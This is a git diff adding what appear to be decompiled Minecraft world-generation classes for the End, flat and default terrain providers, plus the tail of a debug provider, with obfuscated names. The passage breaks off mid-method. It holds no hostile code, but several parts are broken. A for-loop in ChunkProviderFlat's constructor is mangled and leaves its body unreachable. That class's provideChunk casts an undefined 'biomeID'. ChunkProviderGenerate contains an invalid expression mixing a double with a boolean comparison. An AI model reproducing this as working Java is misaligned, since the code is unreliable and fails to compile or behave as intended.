+      p_177461_0_ /= 2;
+      p_177461_1_ /= 2;
+      
+      if ((p_177461_0_ <= field_177462_b) && (p_177461_1_ <= field_177462_b))
+      {
+        int var3 = MathHelper.abs_int(p_177461_0_ * field_177462_b + p_177461_1_);
+        
+        if (var3 < field_177464_a.size())
+        {
+          var2 = (IBlockState)field_177464_a.get(var3);
+        }
+      }
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  public boolean chunkExists(int p_73149_1_, int p_73149_2_)
+  {
+    return true;
+  }
+  
+
+
+
+
+
+  public boolean func_177460_a(IChunkProvider p_177460_1_, Chunk p_177460_2_, int p_177460_3_, int p_177460_4_)
+  {
+    return false;
+  }
+  
+
+
+
+
+  public boolean saveChunks(boolean p_73151_1_, IProgressUpdate p_73151_2_)
+  {
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean unloadQueuedChunks()
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean canSave()
+  {
+    return true;
+  }
+  
+
+
+
+  public String makeString()
+  {
+    return "DebugLevelSource";
+  }
+  
+  public List func_177458_a(EnumCreatureType p_177458_1_, BlockPos p_177458_2_)
+  {
+    BiomeGenBase var3 = field_177463_c.getBiomeGenForCoords(p_177458_2_);
+    return var3.getSpawnableList(p_177458_1_);
+  }
+  
+  public BlockPos func_180513_a(World worldIn, String p_180513_2_, BlockPos p_180513_3_)
+  {
+    return null;
+  }
+  
+  public int getLoadedChunkCount()
+  {
+    return 0;
+  }
+  
+
+
+  public Chunk func_177459_a(BlockPos p_177459_1_)
+  {
+    return provideChunk(p_177459_1_.getX() >> 4, p_177459_1_.getZ() >> 4);
+  }
+  
+  static
+  {
+    Iterator var0 = Block.blockRegistry.iterator();
+    
+    while (var0.hasNext())
+    {
+      Block var1 = (Block)var0.next();
+      field_177464_a.addAll(var1.getBlockState().getValidStates());
+    } }
+  
+  private static final int field_177462_b = MathHelper.ceiling_float_int(MathHelper.sqrt_float(field_177464_a.size()));
+  private final World field_177463_c;
+  private static final String __OBFID = "CL_00002002";
+  
+  public void populate(IChunkProvider p_73153_1_, int p_73153_2_, int p_73153_3_) {}
+  
+  public void saveExtraData() {}
+  
+  public void func_180514_a(Chunk p_180514_1_, int p_180514_2_, int p_180514_3_) {}
+}
diff --git a/src/minecraft/net/minecraft/world/gen/ChunkProviderEnd.java b/src/minecraft/net/minecraft/world/gen/ChunkProviderEnd.java
new file mode 100644
index 0000000..98fdcd2
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/ChunkProviderEnd.java
@@ -0,0 +1,364 @@
+package net.minecraft.world.gen;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.EnumCreatureType;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.IProgressUpdate;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+import net.minecraft.world.biome.BiomeGenBase;
+import net.minecraft.world.biome.WorldChunkManager;
+import net.minecraft.world.chunk.Chunk;
+import net.minecraft.world.chunk.ChunkPrimer;
+import net.minecraft.world.chunk.IChunkProvider;
+
+public class ChunkProviderEnd
+  implements IChunkProvider
+{
+  private Random endRNG;
+  private NoiseGeneratorOctaves noiseGen1;
+  private NoiseGeneratorOctaves noiseGen2;
+  private NoiseGeneratorOctaves noiseGen3;
+  public NoiseGeneratorOctaves noiseGen4;
+  public NoiseGeneratorOctaves noiseGen5;
+  private World endWorld;
+  private double[] densities;
+  private BiomeGenBase[] biomesForGeneration;
+  double[] noiseData1;
+  double[] noiseData2;
+  double[] noiseData3;
+  double[] noiseData4;
+  double[] noiseData5;
+  private static final String __OBFID = "CL_00000397";
+  
+  public ChunkProviderEnd(World worldIn, long p_i2007_2_)
+  {
+    endWorld = worldIn;
+    endRNG = new Random(p_i2007_2_);
+    noiseGen1 = new NoiseGeneratorOctaves(endRNG, 16);
+    noiseGen2 = new NoiseGeneratorOctaves(endRNG, 16);
+    noiseGen3 = new NoiseGeneratorOctaves(endRNG, 8);
+    noiseGen4 = new NoiseGeneratorOctaves(endRNG, 10);
+    noiseGen5 = new NoiseGeneratorOctaves(endRNG, 16);
+  }
+  
+  public void func_180520_a(int p_180520_1_, int p_180520_2_, ChunkPrimer p_180520_3_)
+  {
+    byte var4 = 2;
+    int var5 = var4 + 1;
+    byte var6 = 33;
+    int var7 = var4 + 1;
+    densities = initializeNoiseField(densities, p_180520_1_ * var4, 0, p_180520_2_ * var4, var5, var6, var7);
+    
+    for (int var8 = 0; var8 < var4; var8++)
+    {
+      for (int var9 = 0; var9 < var4; var9++)
+      {
+        for (int var10 = 0; var10 < 32; var10++)
+        {
+          double var11 = 0.25D;
+          double var13 = densities[(((var8 + 0) * var7 + var9 + 0) * var6 + var10 + 0)];
+          double var15 = densities[(((var8 + 0) * var7 + var9 + 1) * var6 + var10 + 0)];
+          double var17 = densities[(((var8 + 1) * var7 + var9 + 0) * var6 + var10 + 0)];
+          double var19 = densities[(((var8 + 1) * var7 + var9 + 1) * var6 + var10 + 0)];
+          double var21 = (densities[(((var8 + 0) * var7 + var9 + 0) * var6 + var10 + 1)] - var13) * var11;
+          double var23 = (densities[(((var8 + 0) * var7 + var9 + 1) * var6 + var10 + 1)] - var15) * var11;
+          double var25 = (densities[(((var8 + 1) * var7 + var9 + 0) * var6 + var10 + 1)] - var17) * var11;
+          double var27 = (densities[(((var8 + 1) * var7 + var9 + 1) * var6 + var10 + 1)] - var19) * var11;
+          
+          for (int var29 = 0; var29 < 4; var29++)
+          {
+            double var30 = 0.125D;
+            double var32 = var13;
+            double var34 = var15;
+            double var36 = (var17 - var13) * var30;
+            double var38 = (var19 - var15) * var30;
+            
+            for (int var40 = 0; var40 < 8; var40++)
+            {
+              double var41 = 0.125D;
+              double var43 = var32;
+              double var45 = (var34 - var32) * var41;
+              
+              for (int var47 = 0; var47 < 8; var47++)
+              {
+                IBlockState var48 = null;
+                
+                if (var43 > 0.0D)
+                {
+                  var48 = Blocks.end_stone.getDefaultState();
+                }
+                
+                int var49 = var40 + var8 * 8;
+                int var50 = var29 + var10 * 4;
+                int var51 = var47 + var9 * 8;
+                p_180520_3_.setBlockState(var49, var50, var51, var48);
+                var43 += var45;
+              }
+              
+              var32 += var36;
+              var34 += var38;
+            }
+            
+            var13 += var21;
+            var15 += var23;
+            var17 += var25;
+            var19 += var27;
+          }
+        }
+      }
+    }
+  }
+  
+  public void func_180519_a(ChunkPrimer p_180519_1_)
+  {
+    for (int var2 = 0; var2 < 16; var2++)
+    {
+      for (int var3 = 0; var3 < 16; var3++)
+      {
+        byte var4 = 1;
+        int var5 = -1;
+        IBlockState var6 = Blocks.end_stone.getDefaultState();
+        IBlockState var7 = Blocks.end_stone.getDefaultState();
+        
+        for (int var8 = 127; var8 >= 0; var8--)
+        {
+          IBlockState var9 = p_180519_1_.getBlockState(var2, var8, var3);
+          
+          if (var9.getBlock().getMaterial() == Material.air)
+          {
+            var5 = -1;
+          }
+          else if (var9.getBlock() == Blocks.stone)
+          {
+            if (var5 == -1)
+            {
+              if (var4 <= 0)
+              {
+                var6 = Blocks.air.getDefaultState();
+                var7 = Blocks.end_stone.getDefaultState();
+              }
+              
+              var5 = var4;
+              
+              if (var8 >= 0)
+              {
+                p_180519_1_.setBlockState(var2, var8, var3, var6);
+              }
+              else
+              {
+                p_180519_1_.setBlockState(var2, var8, var3, var7);
+              }
+            }
+            else if (var5 > 0)
+            {
+              var5--;
+              p_180519_1_.setBlockState(var2, var8, var3, var7);
+            }
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+
+  public Chunk provideChunk(int p_73154_1_, int p_73154_2_)
+  {
+    endRNG.setSeed(p_73154_1_ * 341873128712L + p_73154_2_ * 132897987541L);
+    ChunkPrimer var3 = new ChunkPrimer();
+    biomesForGeneration = endWorld.getWorldChunkManager().loadBlockGeneratorData(biomesForGeneration, p_73154_1_ * 16, p_73154_2_ * 16, 16, 16);
+    func_180520_a(p_73154_1_, p_73154_2_, var3);
+    func_180519_a(var3);
+    Chunk var4 = new Chunk(endWorld, var3, p_73154_1_, p_73154_2_);
+    byte[] var5 = var4.getBiomeArray();
+    
+    for (int var6 = 0; var6 < var5.length; var6++)
+    {
+      var5[var6] = ((byte)biomesForGeneration[var6].biomeID);
+    }
+    
+    var4.generateSkylightMap();
+    return var4;
+  }
+  
+
+
+
+
+  private double[] initializeNoiseField(double[] p_73187_1_, int p_73187_2_, int p_73187_3_, int p_73187_4_, int p_73187_5_, int p_73187_6_, int p_73187_7_)
+  {
+    if (p_73187_1_ == null)
+    {
+      p_73187_1_ = new double[p_73187_5_ * p_73187_6_ * p_73187_7_];
+    }
+    
+    double var8 = 684.412D;
+    double var10 = 684.412D;
+    noiseData4 = noiseGen4.generateNoiseOctaves(noiseData4, p_73187_2_, p_73187_4_, p_73187_5_, p_73187_7_, 1.121D, 1.121D, 0.5D);
+    noiseData5 = noiseGen5.generateNoiseOctaves(noiseData5, p_73187_2_, p_73187_4_, p_73187_5_, p_73187_7_, 200.0D, 200.0D, 0.5D);
+    var8 *= 2.0D;
+    noiseData1 = noiseGen3.generateNoiseOctaves(noiseData1, p_73187_2_, p_73187_3_, p_73187_4_, p_73187_5_, p_73187_6_, p_73187_7_, var8 / 80.0D, var10 / 160.0D, var8 / 80.0D);
+    noiseData2 = noiseGen1.generateNoiseOctaves(noiseData2, p_73187_2_, p_73187_3_, p_73187_4_, p_73187_5_, p_73187_6_, p_73187_7_, var8, var10, var8);
+    noiseData3 = noiseGen2.generateNoiseOctaves(noiseData3, p_73187_2_, p_73187_3_, p_73187_4_, p_73187_5_, p_73187_6_, p_73187_7_, var8, var10, var8);
+    int var12 = 0;
+    
+    for (int var13 = 0; var13 < p_73187_5_; var13++)
+    {
+      for (int var14 = 0; var14 < p_73187_7_; var14++)
+      {
+        float var15 = (var13 + p_73187_2_) / 1.0F;
+        float var16 = (var14 + p_73187_4_) / 1.0F;
+        float var17 = 100.0F - MathHelper.sqrt_float(var15 * var15 + var16 * var16) * 8.0F;
+        
+        if (var17 > 80.0F)
+        {
+          var17 = 80.0F;
+        }
+        
+        if (var17 < -100.0F)
+        {
+          var17 = -100.0F;
+        }
+        
+        for (int var18 = 0; var18 < p_73187_6_; var18++)
+        {
+          double var19 = 0.0D;
+          double var21 = noiseData2[var12] / 512.0D;
+          double var23 = noiseData3[var12] / 512.0D;
+          double var25 = (noiseData1[var12] / 10.0D + 1.0D) / 2.0D;
+          
+          if (var25 < 0.0D)
+          {
+            var19 = var21;
+          }
+          else if (var25 > 1.0D)
+          {
+            var19 = var23;
+          }
+          else
+          {
+            var19 = var21 + (var23 - var21) * var25;
+          }
+          
+          var19 -= 8.0D;
+          var19 += var17;
+          byte var27 = 2;
+          
+
+          if (var18 > p_73187_6_ / 2 - var27)
+          {
+            double var28 = (var18 - (p_73187_6_ / 2 - var27)) / 64.0F;
+            var28 = MathHelper.clamp_double(var28, 0.0D, 1.0D);
+            var19 = var19 * (1.0D - var28) + -3000.0D * var28;
+          }
+          
+          var27 = 8;
+          
+          if (var18 < var27)
+          {
+            double var28 = (var27 - var18) / (var27 - 1.0F);
+            var19 = var19 * (1.0D - var28) + -30.0D * var28;
+          }
+          
+          p_73187_1_[var12] = var19;
+          var12++;
+        }
+      }
+    }
+    
+    return p_73187_1_;
+  }
+  
+
+
+
+  public boolean chunkExists(int p_73149_1_, int p_73149_2_)
+  {
+    return true;
+  }
+  
+
+
+
+  public void populate(IChunkProvider p_73153_1_, int p_73153_2_, int p_73153_3_)
+  {
+    net.minecraft.block.BlockFalling.fallInstantly = true;
+    BlockPos var4 = new BlockPos(p_73153_2_ * 16, 0, p_73153_3_ * 16);
+    endWorld.getBiomeGenForCoords(var4.add(16, 0, 16)).func_180624_a(endWorld, endWorld.rand, var4);
+    net.minecraft.block.BlockFalling.fallInstantly = false;
+  }
+  
+  public boolean func_177460_a(IChunkProvider p_177460_1_, Chunk p_177460_2_, int p_177460_3_, int p_177460_4_)
+  {
+    return false;
+  }
+  
+
+
+
+
+  public boolean saveChunks(boolean p_73151_1_, IProgressUpdate p_73151_2_)
+  {
+    return true;
+  }
+  
+
+
+
+
+  public void saveExtraData() {}
+  
+
+
+
+  public boolean unloadQueuedChunks()
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean canSave()
+  {
+    return true;
+  }
+  
+
+
+
+  public String makeString()
+  {
+    return "RandomLevelSource";
+  }
+  
+  public List func_177458_a(EnumCreatureType p_177458_1_, BlockPos p_177458_2_)
+  {
+    return endWorld.getBiomeGenForCoords(p_177458_2_).getSpawnableList(p_177458_1_);
+  }
+  
+  public BlockPos func_180513_a(World worldIn, String p_180513_2_, BlockPos p_180513_3_)
+  {
+    return null;
+  }
+  
+  public int getLoadedChunkCount()
+  {
+    return 0;
+  }
+  
+  public void func_180514_a(Chunk p_180514_1_, int p_180514_2_, int p_180514_3_) {}
+  
+  public Chunk func_177459_a(BlockPos p_177459_1_)
+  {
+    return provideChunk(p_177459_1_.getX() >> 4, p_177459_1_.getZ() >> 4);
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/ChunkProviderFlat.java b/src/minecraft/net/minecraft/world/gen/ChunkProviderFlat.java
new file mode 100644
index 0000000..293f6bc
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/ChunkProviderFlat.java
@@ -0,0 +1,331 @@
+package net.minecraft.world.gen;
+
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Random;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.EnumCreatureType;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.IProgressUpdate;
+import net.minecraft.world.ChunkCoordIntPair;
+import net.minecraft.world.World;
+import net.minecraft.world.biome.BiomeGenBase;
+import net.minecraft.world.biome.WorldChunkManager;
+import net.minecraft.world.chunk.Chunk;
+import net.minecraft.world.chunk.ChunkPrimer;
+import net.minecraft.world.chunk.IChunkProvider;
+import net.minecraft.world.gen.feature.WorldGenDungeons;
+import net.minecraft.world.gen.feature.WorldGenLakes;
+import net.minecraft.world.gen.structure.MapGenMineshaft;
+import net.minecraft.world.gen.structure.MapGenScatteredFeature;
+import net.minecraft.world.gen.structure.MapGenStronghold;
+import net.minecraft.world.gen.structure.MapGenStructure;
+import net.minecraft.world.gen.structure.MapGenVillage;
+import net.minecraft.world.gen.structure.StructureOceanMonument;
+
+public class ChunkProviderFlat implements IChunkProvider
+{
+  private World worldObj;
+  private Random random;
+  private final IBlockState[] cachedBlockIDs = new IBlockState['Ā'];
+  private final FlatGeneratorInfo flatWorldGenInfo;
+  private final List structureGenerators = com.google.common.collect.Lists.newArrayList();
+  private final boolean hasDecoration;
+  private final boolean hasDungeons;
+  private WorldGenLakes waterLakeGenerator;
+  private WorldGenLakes lavaLakeGenerator;
+  private static final String __OBFID = "CL_00000391";
+  
+  public ChunkProviderFlat(World worldIn, long p_i2004_2_, boolean p_i2004_4_, String p_i2004_5_)
+  {
+    worldObj = worldIn;
+    random = new Random(p_i2004_2_);
+    flatWorldGenInfo = FlatGeneratorInfo.createFlatGeneratorFromString(p_i2004_5_);
+    
+    if (p_i2004_4_)
+    {
+      Map var6 = flatWorldGenInfo.getWorldFeatures();
+      
+      if (var6.containsKey("village"))
+      {
+        Map var7 = (Map)var6.get("village");
+        
+        if (!var7.containsKey("size"))
+        {
+          var7.put("size", "1");
+        }
+        
+        structureGenerators.add(new MapGenVillage(var7));
+      }
+      
+      if (var6.containsKey("biome_1"))
+      {
+        structureGenerators.add(new MapGenScatteredFeature((Map)var6.get("biome_1")));
+      }
+      
+      if (var6.containsKey("mineshaft"))
+      {
+        structureGenerators.add(new MapGenMineshaft((Map)var6.get("mineshaft")));
+      }
+      
+      if (var6.containsKey("stronghold"))
+      {
+        structureGenerators.add(new MapGenStronghold((Map)var6.get("stronghold")));
+      }
+      
+      if (var6.containsKey("oceanmonument"))
+      {
+        structureGenerators.add(new StructureOceanMonument((Map)var6.get("oceanmonument")));
+      }
+    }
+    
+    if (flatWorldGenInfo.getWorldFeatures().containsKey("lake"))
+    {
+      waterLakeGenerator = new WorldGenLakes(Blocks.water);
+    }
+    
+    if (flatWorldGenInfo.getWorldFeatures().containsKey("lava_lake"))
+    {
+      lavaLakeGenerator = new WorldGenLakes(Blocks.lava);
+    }
+    
+    hasDungeons = flatWorldGenInfo.getWorldFeatures().containsKey("dungeon");
+    boolean var11 = true;
+    Iterator var12 = flatWorldGenInfo.getFlatLayers().iterator();
+    FlatLayerInfo var8;
+    int var9; for (; var12.hasNext(); 
+        
+
+
+        var9 < var8.getMinY() + var8.getLayerCount())
+    {
+      var8 = (FlatLayerInfo)var12.next();
+      
+      var9 = var8.getMinY(); continue;
+      
+      IBlockState var10 = var8.func_175900_c();
+      
+      if (var10.getBlock() != Blocks.air)
+      {
+        var11 = false;
+        cachedBlockIDs[var9] = var10;
+      }
+      var9++;
+    }
+    
+
+
+
+
+
+
+
+
+
+    hasDecoration = (var11 ? false : flatWorldGenInfo.getWorldFeatures().containsKey("decoration"));
+  }
+  
+
+
+
+
+  public Chunk provideChunk(int p_73154_1_, int p_73154_2_)
+  {
+    ChunkPrimer var3 = new ChunkPrimer();
+    
+
+    for (int var4 = 0; var4 < cachedBlockIDs.length; var4++)
+    {
+      IBlockState var5 = cachedBlockIDs[var4];
+      
+      if (var5 != null)
+      {
+        for (int var6 = 0; var6 < 16; var6++)
+        {
+          for (int var7 = 0; var7 < 16; var7++)
+          {
+            var3.setBlockState(var6, var4, var7, var5);
+          }
+        }
+      }
+    }
+    
+    Iterator var8 = structureGenerators.iterator();
+    
+    while (var8.hasNext())
+    {
+      MapGenBase var10 = (MapGenBase)var8.next();
+      var10.func_175792_a(this, worldObj, p_73154_1_, p_73154_2_, var3);
+    }
+    
+    Chunk var9 = new Chunk(worldObj, var3, p_73154_1_, p_73154_2_);
+    BiomeGenBase[] var11 = worldObj.getWorldChunkManager().loadBlockGeneratorData(null, p_73154_1_ * 16, p_73154_2_ * 16, 16, 16);
+    byte[] var12 = var9.getBiomeArray();
+    
+    for (int var7 = 0; var7 < var12.length; var7++)
+    {
+      var12[var7] = ((byte)biomeID);
+    }
+    
+    var9.generateSkylightMap();
+    return var9;
+  }
+  
+
+
+
+  public boolean chunkExists(int p_73149_1_, int p_73149_2_)
+  {
+    return true;
+  }
+  
+
+
+
+  public void populate(IChunkProvider p_73153_1_, int p_73153_2_, int p_73153_3_)
+  {
+    int var4 = p_73153_2_ * 16;
+    int var5 = p_73153_3_ * 16;
+    BlockPos var6 = new BlockPos(var4, 0, var5);
+    BiomeGenBase var7 = worldObj.getBiomeGenForCoords(new BlockPos(var4 + 16, 0, var5 + 16));
+    boolean var8 = false;
+    random.setSeed(worldObj.getSeed());
+    long var9 = random.nextLong() / 2L * 2L + 1L;
+    long var11 = random.nextLong() / 2L * 2L + 1L;
+    random.setSeed(p_73153_2_ * var9 + p_73153_3_ * var11 ^ worldObj.getSeed());
+    ChunkCoordIntPair var13 = new ChunkCoordIntPair(p_73153_2_, p_73153_3_);
+    Iterator var14 = structureGenerators.iterator();
+    
+    while (var14.hasNext())
+    {
+      MapGenStructure var15 = (MapGenStructure)var14.next();
+      boolean var16 = var15.func_175794_a(worldObj, random, var13);
+      
+      if ((var15 instanceof MapGenVillage))
+      {
+        var8 |= var16;
+      }
+    }
+    
+    if ((waterLakeGenerator != null) && (!var8) && (random.nextInt(4) == 0))
+    {
+      waterLakeGenerator.generate(worldObj, random, var6.add(random.nextInt(16) + 8, random.nextInt(256), random.nextInt(16) + 8));
+    }
+    
+    if ((lavaLakeGenerator != null) && (!var8) && (random.nextInt(8) == 0))
+    {
+      BlockPos var17 = var6.add(random.nextInt(16) + 8, random.nextInt(random.nextInt(248) + 8), random.nextInt(16) + 8);
+      
+      if ((var17.getY() < 63) || (random.nextInt(10) == 0))
+      {
+        lavaLakeGenerator.generate(worldObj, random, var17);
+      }
+    }
+    
+    if (hasDungeons)
+    {
+      for (int var18 = 0; var18 < 8; var18++)
+      {
+        new WorldGenDungeons().generate(worldObj, random, var6.add(random.nextInt(16) + 8, random.nextInt(256), random.nextInt(16) + 8));
+      }
+    }
+    
+    if (hasDecoration)
+    {
+      var7.func_180624_a(worldObj, random, new BlockPos(var4, 0, var5));
+    }
+  }
+  
+  public boolean func_177460_a(IChunkProvider p_177460_1_, Chunk p_177460_2_, int p_177460_3_, int p_177460_4_)
+  {
+    return false;
+  }
+  
+
+
+
+
+  public boolean saveChunks(boolean p_73151_1_, IProgressUpdate p_73151_2_)
+  {
+    return true;
+  }
+  
+
+
+
+
+  public void saveExtraData() {}
+  
+
+
+
+  public boolean unloadQueuedChunks()
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean canSave()
+  {
+    return true;
+  }
+  
+
+
+
+  public String makeString()
+  {
+    return "FlatLevelSource";
+  }
+  
+  public List func_177458_a(EnumCreatureType p_177458_1_, BlockPos p_177458_2_)
+  {
+    BiomeGenBase var3 = worldObj.getBiomeGenForCoords(p_177458_2_);
+    return var3.getSpawnableList(p_177458_1_);
+  }
+  
+  public BlockPos func_180513_a(World worldIn, String p_180513_2_, BlockPos p_180513_3_)
+  {
+    if ("Stronghold".equals(p_180513_2_))
+    {
+      Iterator var4 = structureGenerators.iterator();
+      
+      while (var4.hasNext())
+      {
+        MapGenStructure var5 = (MapGenStructure)var4.next();
+        
+        if ((var5 instanceof MapGenStronghold))
+        {
+          return var5.func_180706_b(worldIn, p_180513_3_);
+        }
+      }
+    }
+    
+    return null;
+  }
+  
+  public int getLoadedChunkCount()
+  {
+    return 0;
+  }
+  
+  public void func_180514_a(Chunk p_180514_1_, int p_180514_2_, int p_180514_3_)
+  {
+    Iterator var4 = structureGenerators.iterator();
+    
+    while (var4.hasNext())
+    {
+      MapGenStructure var5 = (MapGenStructure)var4.next();
+      var5.func_175792_a(this, worldObj, p_180514_2_, p_180514_3_, null);
+    }
+  }
+  
+  public Chunk func_177459_a(BlockPos p_177459_1_)
+  {
+    return provideChunk(p_177459_1_.getX() >> 4, p_177459_1_.getZ() >> 4);
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/ChunkProviderGenerate.java b/src/minecraft/net/minecraft/world/gen/ChunkProviderGenerate.java
new file mode 100644
index 0000000..8669555
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/ChunkProviderGenerate.java
@@ -0,0 +1,606 @@
+package net.minecraft.world.gen;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.entity.EnumCreatureType;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.IProgressUpdate;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.ChunkCoordIntPair;
+import net.minecraft.world.SpawnerAnimals;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldType;
+import net.minecraft.world.biome.BiomeGenBase;
+import net.minecraft.world.biome.WorldChunkManager;
+import net.minecraft.world.chunk.Chunk;
+import net.minecraft.world.chunk.ChunkPrimer;
+import net.minecraft.world.chunk.IChunkProvider;
+import net.minecraft.world.gen.feature.WorldGenDungeons;
+import net.minecraft.world.gen.feature.WorldGenLakes;
+import net.minecraft.world.gen.structure.MapGenMineshaft;
+import net.minecraft.world.gen.structure.MapGenScatteredFeature;
+import net.minecraft.world.gen.structure.MapGenStronghold;
+import net.minecraft.world.gen.structure.MapGenVillage;
+import net.minecraft.world.gen.structure.StructureOceanMonument;
+import net.minecraft.world.storage.WorldInfo;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ChunkProviderGenerate
+  implements IChunkProvider
+{
+  private Random rand;
+  private NoiseGeneratorOctaves field_147431_j;
+  private NoiseGeneratorOctaves field_147432_k;
+  private NoiseGeneratorOctaves field_147429_l;
+  private NoiseGeneratorPerlin field_147430_m;
+  public NoiseGeneratorOctaves noiseGen5;
+  public NoiseGeneratorOctaves noiseGen6;
+  public NoiseGeneratorOctaves mobSpawnerNoise;
+  private World worldObj;
+  private final boolean mapFeaturesEnabled;
+  private WorldType field_177475_o;
+  private final double[] field_147434_q;
+  private final float[] parabolicField;
+  private ChunkProviderSettings field_177477_r;
+  private Block field_177476_s;
+  private double[] stoneNoise;
+  private MapGenBase caveGenerator;
+  private MapGenStronghold strongholdGenerator;
+  private MapGenVillage villageGenerator;
+  private MapGenMineshaft mineshaftGenerator;
+  private MapGenScatteredFeature scatteredFeatureGenerator;
+  private MapGenBase ravineGenerator;
+  private StructureOceanMonument field_177474_A;
+  private BiomeGenBase[] biomesForGeneration;
+  double[] field_147427_d;
+  double[] field_147428_e;
+  double[] field_147425_f;
+  double[] field_147426_g;
+  private static final String __OBFID = "CL_00000396";
+  
+  public ChunkProviderGenerate(World worldIn, long p_i45636_2_, boolean p_i45636_4_, String p_i45636_5_)
+  {
+    field_177476_s = Blocks.water;
+    stoneNoise = new double['Ā'];
+    caveGenerator = new MapGenCaves();
+    strongholdGenerator = new MapGenStronghold();
+    villageGenerator = new MapGenVillage();
+    mineshaftGenerator = new MapGenMineshaft();
+    scatteredFeatureGenerator = new MapGenScatteredFeature();
+    ravineGenerator = new MapGenRavine();
+    field_177474_A = new StructureOceanMonument();
+    worldObj = worldIn;
+    mapFeaturesEnabled = p_i45636_4_;
+    field_177475_o = worldIn.getWorldInfo().getTerrainType();
+    rand = new Random(p_i45636_2_);
+    field_147431_j = new NoiseGeneratorOctaves(rand, 16);
+    field_147432_k = new NoiseGeneratorOctaves(rand, 16);
+    field_147429_l = new NoiseGeneratorOctaves(rand, 8);
+    field_147430_m = new NoiseGeneratorPerlin(rand, 4);
+    noiseGen5 = new NoiseGeneratorOctaves(rand, 10);
+    noiseGen6 = new NoiseGeneratorOctaves(rand, 16);
+    mobSpawnerNoise = new NoiseGeneratorOctaves(rand, 8);
+    field_147434_q = new double['̹'];
+    parabolicField = new float[25];
+    
+    for (int var6 = -2; var6 <= 2; var6++)
+    {
+      for (int var7 = -2; var7 <= 2; var7++)
+      {
+        float var8 = 10.0F / MathHelper.sqrt_float(var6 * var6 + var7 * var7 + 0.2F);
+        parabolicField[(var6 + 2 + (var7 + 2) * 5)] = var8;
+      }
+    }
+    
+    if (p_i45636_5_ != null)
+    {
+      field_177477_r = ChunkProviderSettings.Factory.func_177865_a(p_i45636_5_).func_177864_b();
+      field_177476_s = (field_177477_r.field_177778_E ? Blocks.lava : Blocks.water);
+    }
+  }
+  
+  public void func_180518_a(int p_180518_1_, int p_180518_2_, ChunkPrimer p_180518_3_)
+  {
+    biomesForGeneration = worldObj.getWorldChunkManager().getBiomesForGeneration(biomesForGeneration, p_180518_1_ * 4 - 2, p_180518_2_ * 4 - 2, 10, 10);
+    func_147423_a(p_180518_1_ * 4, 0, p_180518_2_ * 4);
+    
+    for (int var4 = 0; var4 < 4; var4++)
+    {
+      int var5 = var4 * 5;
+      int var6 = (var4 + 1) * 5;
+      
+      for (int var7 = 0; var7 < 4; var7++)
+      {
+        int var8 = (var5 + var7) * 33;
+        int var9 = (var5 + var7 + 1) * 33;
+        int var10 = (var6 + var7) * 33;
+        int var11 = (var6 + var7 + 1) * 33;
+        
+        for (int var12 = 0; var12 < 32; var12++)
+        {
+          double var13 = 0.125D;
+          double var15 = field_147434_q[(var8 + var12)];
+          double var17 = field_147434_q[(var9 + var12)];
+          double var19 = field_147434_q[(var10 + var12)];
+          double var21 = field_147434_q[(var11 + var12)];
+          double var23 = (field_147434_q[(var8 + var12 + 1)] - var15) * var13;
+          double var25 = (field_147434_q[(var9 + var12 + 1)] - var17) * var13;
+          double var27 = (field_147434_q[(var10 + var12 + 1)] - var19) * var13;
+          double var29 = (field_147434_q[(var11 + var12 + 1)] - var21) * var13;
+          
+          for (int var31 = 0; var31 < 8; var31++)
+          {
+            double var32 = 0.25D;
+            double var34 = var15;
+            double var36 = var17;
+            double var38 = (var19 - var15) * var32;
+            double var40 = (var21 - var17) * var32;
+            
+            for (int var42 = 0; var42 < 4; var42++)
+            {
+              double var43 = 0.25D;
+              double var47 = (var36 - var34) * var43;
+              double var45 = var34 - var47;
+              
+              for (int var49 = 0; var49 < 4; var49++)
+              {
+                if (var45 += var47 > 0.0D)
+                {
+                  p_180518_3_.setBlockState(var4 * 4 + var42, var12 * 8 + var31, var7 * 4 + var49, Blocks.stone.getDefaultState());
+                }
+                else if (var12 * 8 + var31 < field_177477_r.field_177841_q)
+                {
+                  p_180518_3_.setBlockState(var4 * 4 + var42, var12 * 8 + var31, var7 * 4 + var49, field_177476_s.getDefaultState());
+                }
+              }
+              
+              var34 += var38;
+              var36 += var40;
+            }
+            
+            var15 += var23;
+            var17 += var25;
+            var19 += var27;
+            var21 += var29;
+          }
+        }
+      }
+    }
+  }
+  
+  public void func_180517_a(int p_180517_1_, int p_180517_2_, ChunkPrimer p_180517_3_, BiomeGenBase[] p_180517_4_)
+  {
+    double var5 = 0.03125D;
+    stoneNoise = field_147430_m.func_151599_a(stoneNoise, p_180517_1_ * 16, p_180517_2_ * 16, 16, 16, var5 * 2.0D, var5 * 2.0D, 1.0D);
+    
+    for (int var7 = 0; var7 < 16; var7++)
+    {
+      for (int var8 = 0; var8 < 16; var8++)
+      {
+        BiomeGenBase var9 = p_180517_4_[(var8 + var7 * 16)];
+        var9.genTerrainBlocks(worldObj, rand, p_180517_3_, p_180517_1_ * 16 + var7, p_180517_2_ * 16 + var8, stoneNoise[(var8 + var7 * 16)]);
+      }
+    }
+  }
+  
+
+
+
+
+  public Chunk provideChunk(int p_73154_1_, int p_73154_2_)
+  {
